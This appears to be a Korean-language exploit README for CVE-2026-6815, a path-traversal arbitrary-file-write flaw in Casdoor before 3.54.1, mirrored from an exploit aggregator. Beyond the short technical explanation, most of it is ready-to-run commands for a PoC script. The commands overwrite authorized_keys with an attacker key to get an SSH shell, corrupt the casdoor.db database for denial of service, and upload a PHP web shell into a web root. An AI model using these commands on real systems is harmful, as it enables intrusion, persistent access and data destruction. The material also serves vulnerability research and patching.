Exploit for CVE-2026-6815

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DANILO-DELLORCO-CVE-2026-6815
# CVE-2026-6815 PoC/Exploit: Casdoor <3.54.1 경로 탐색 및 임의 파일 쓰기 (인증됨)

이 저장소는 Casdoor의 임의 파일 쓰기 및 경로 탐색 취약점인 CVE-2026-6815에 대한 PoC(Proof of Concept) 익스플로잇을 포함합니다.

이 취약점은 버전 3.54.1에서 수정되었습니다.

## 요구 사항

공격자는 Casdoor 인스턴스에 관리자 권한으로 인증되어 있어야 하며, 스토리지 공급자를 생성 및/또는 편집할 수 있는 권한을 가진 동급의 사용자여야 합니다.

## 영향

  * **원격 코드 실행 (RCE)** : `.ssh/authorized_keys`, crontab, 웹 루트와 같은 민감한 위치에 파일을 작성하여 실행할 수 있습니다.
  * **서비스 거부 (DoS)** : 애플리케이션 데이터베이스(`casdoor.db`)나 핵심 바이너리를 임의의 파일로 덮어써 애플리케이션을 즉시 중지시킬 수 있습니다.



## 기술적 세부 사항

Casdoor는 관리자가 스토리지 공급자를 구성할 수 있게 합니다. `Local File System` 공급자는 리소스 업로드 시 `pathPrefix` 구성과 `fullFilePath` 매개변수를 제대로 검증하지 못합니다.

디렉터리 트래버설 시퀀스(`../`)를 사용하면 인증된 관리자가 전용 스토리지 디렉터리를 벗어나 Casdoor 프로세스에 권한이 있는 모든 위치에 파일을 쓸 수 있습니다.

이 취약점은 다음 위치의 불충분한 경로 검증에서 발생합니다:

  * `object/provider.go`: 생성/업데이트 시 `pathPrefix`에 대한 검증이 없음.
  * `storage/local_file_system.go`: `GetFullPath` 메서드는 확인된 경로가 의도된 샌드박스 내에 유지되는지 검증하지 않음.



## 사용법

  1. 의존성 설치:

root@kitploit:~
         
         pip install -r requirements.txt
         

  2. 익스플로잇 실행:

root@kitploit:~
         
         python3 poc.py --url http://target:8000 --file local_file --rpath /home/casdoor/new_remote_file
         




## 사용 예제

### 1\. RCE를 위한 SSH 키 주입

`casdoor` 사용자의 `authorized_keys` 파일에 공격자가 제어하는 공개 키를 작성하여 SSH 액세스를 획득합니다.

SSH 키 생성:

root@kitploit:~
    
    
    ssh-keygen -f casdoor_rce
    

생성된 공개 키로 `authorized_keys`를 덮어씁니다:

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file casdoor_rce.pub --rpath /home/casdoor/.ssh/authorized_keys
    

개인 키를 사용하여 원격 호스트에서 SSH 셸을 획득합니다:

root@kitploit:~
    
    
    ssh -i ./casdoor_rce casdoor@target
    

### 2\. 지속적 DoS (데이터베이스 손상)

애플리케이션의 로컬 데이터베이스 파일(예: `casdoor.db`)을 덮어써 서비스 거부를 유발합니다.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db
    

### 3\. 웹 셸 업로드 (보조 웹 루트)

서버가 동일한 파일 시스템에서 보조 웹 서버(예: Apache/Nginx)를 호스팅하는 경우, 문서 루트에 웹 셸을 작성합니다.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php
    

### 4\. 사용자 지정 조직 및 애플리케이션

특정 조직 및 애플리케이션(기본값인 `built-in` 및 `app-built-in`이 아닌)에 대한 관리자 자격 증명이 있는 경우 `--orgname` 및 `--appname`을 사용하여 지정합니다.

root@kitploit:~
    
    
    python3 poc.py --url http://target:8000 --usr custom_admin --psw P@ssw0rd --orgname my-org --appname my-app --file local_file.txt --rpath /tmp/pwned.txt
    

## 참고 자료

  * CERT/CC Vulnerability Note VU#937808
  * CVE-2026-6815 on CVE.org
  * Red Hat Security Advisory: CVE-2026-6815



## 면책 조항

이 소프트웨어는 교육 및 인가된 보안 테스트 목적으로만 제공됩니다. 작성자는 이 정보의 오용에 대해 책임을 지지 않습니다.

## 작성자

취약점 발견 및 PoC 개발: **Danilo Dell'Orco (sixpain)**.